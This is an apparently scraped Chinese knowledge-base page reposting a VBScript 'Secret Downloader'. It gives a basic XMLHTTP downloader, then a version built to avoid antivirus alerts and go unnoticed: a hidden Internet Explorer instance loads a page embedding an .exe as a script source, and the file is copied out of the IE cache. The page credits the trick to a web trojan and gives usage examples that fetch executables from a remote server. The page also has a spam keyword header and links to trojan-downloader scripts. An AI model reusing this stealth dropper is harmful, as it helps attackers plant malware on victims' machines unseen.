高清在线观看日韩,四虎永久免费在线,国产成人自拍一区

主頁(yè) > 知識(shí)庫(kù) > 使用vbs下載文件的代碼加強(qiáng)版

使用vbs下載文件的代碼加強(qiáng)版

說到使用vbs下載文件是不是想到了XMLHTTP呢，呵呵，以下是比較經(jīng)典的代碼：
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

    當(dāng)你把這段代碼保存為vbs的時(shí)候，殺毒軟件可能就開始報(bào)警了；而且使用中cscript.exe會(huì)訪問網(wǎng)絡(luò)，不太隱蔽。
    那么，有沒有更好的方法呢？答案很明顯:-)
    我們可以利用一個(gè)叫InternetExplorer.Application的對(duì)象（其實(shí)就是個(gè)IE啦）下載文件。但是貌似這個(gè)組件不能直接下載保存文件，只好曲線救國(guó)了。因?yàn)镮E是把文件下載到本地緩存的，我們可以讓IE組件先把文件下載到緩存，然后再?gòu)木彺嬲业讲opy至我們需要保存的位置。其實(shí)這個(gè)思路是從一個(gè)網(wǎng)馬看到的：）
    為了讓IE把我們的exe文件下載到本地緩存，我們需要有一個(gè)網(wǎng)頁(yè)把exe文件包含進(jìn)去。比如：script src="520.exe">/script>。這樣當(dāng)IE訪問該頁(yè)面的時(shí)候就會(huì)把520.exe當(dāng)成js腳本保存到本地緩存了。保存的命名一般是520[1].exe，IE臨時(shí)文件的位置可以從注冊(cè)表鍵值 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory 中讀取。
    好了，不廢話，看代碼：

'=============================
'  get.vbs
'   by lake2
'=============================

If WScript.Arguments.Count > 3 Then
WScript.Echo ""
WScript.Echo "======= The Secret Downloader 0.1 ================"
WScript.Echo "  by lake2 "
WScript.Echo "Usage:   CScript /nologo"  WScript.ScriptName  " [URL] [RemoteName] [LocalFile]"
WScript.Echo "Example: CScript /nologo"  WScript.ScriptName  " http://www.0x54.org/lake.htm 520.exe c:\520.exe"
WScript.Echo "=================================================="
WScript.Quit
End If

URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
tmp = Left(exeName,InStrRev(exeName, ".")-1)
tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
FindFileName = tmp  "[1]"  tmp2
End If
LocalName = WScript.Arguments(2)

set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate URL

WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
WScript.Sleep(5000)
ie.quit
WScript.Echo "[+]Get the file ..."
set objshell= WScript.Createobject("WScript.Shell")
strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")
ShowAllFile(strValue)
WScript.Echo "[-]download Fail :("

Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
  If FSO.FileExists(path"\"f1.name"\"FindFileName) Then
   FSO.CopyFile path"\"f1.name"\"FindFileName, LocalName
   WScript.Echo "[+]Download Success !"
   WScript.Quit
  End If
  ShowAllFile path"\"f1.name
     Next
Set FSO = Nothing
End Sub

    使用方法：
    1、在你的web目錄放上一個(gè)htm文件，內(nèi)容包含要下載的文件。如：script src=520.exe>/script>
    2、CScript get.vbs 第一步的網(wǎng)頁(yè)URL 網(wǎng)頁(yè)包含的文件名本地保存路徑

    例子：CScript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe

    PS：腳本使用了5秒鐘作為下載文件的時(shí)間，可以改成等待下載完畢再繼續(xù)的，不過基本上夠用，懶得改了-_-

您可能感興趣的文章:

支持?jǐn)帱c(diǎn)下載的VBS代碼
vbs 多線程下載實(shí)現(xiàn)代碼
VBS下載文件的新方法
VBS 下載方法(CDO.MESSAGE)
一個(gè)收集的下載木馬并運(yùn)行的VBS代碼
用ASP VBS xmlhttp adodbstream下載和保存圖片的代碼
下載文件到本地運(yùn)行的vbs
VBS下載者(通過vbscript實(shí)現(xiàn)文件下載)

標(biāo)簽：錫林郭勒盟麗水阜新青島承德鄂爾多斯黃山齊齊哈爾

巨人網(wǎng)絡(luò)通訊聲明：本文標(biāo)題《使用vbs下載文件的代碼加強(qiáng)版》，本文關(guān)鍵詞使用,vbs,下載,文件,的,代碼,；如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題，煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們，我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò)，涉及言論、版權(quán)與本站無關(guān)。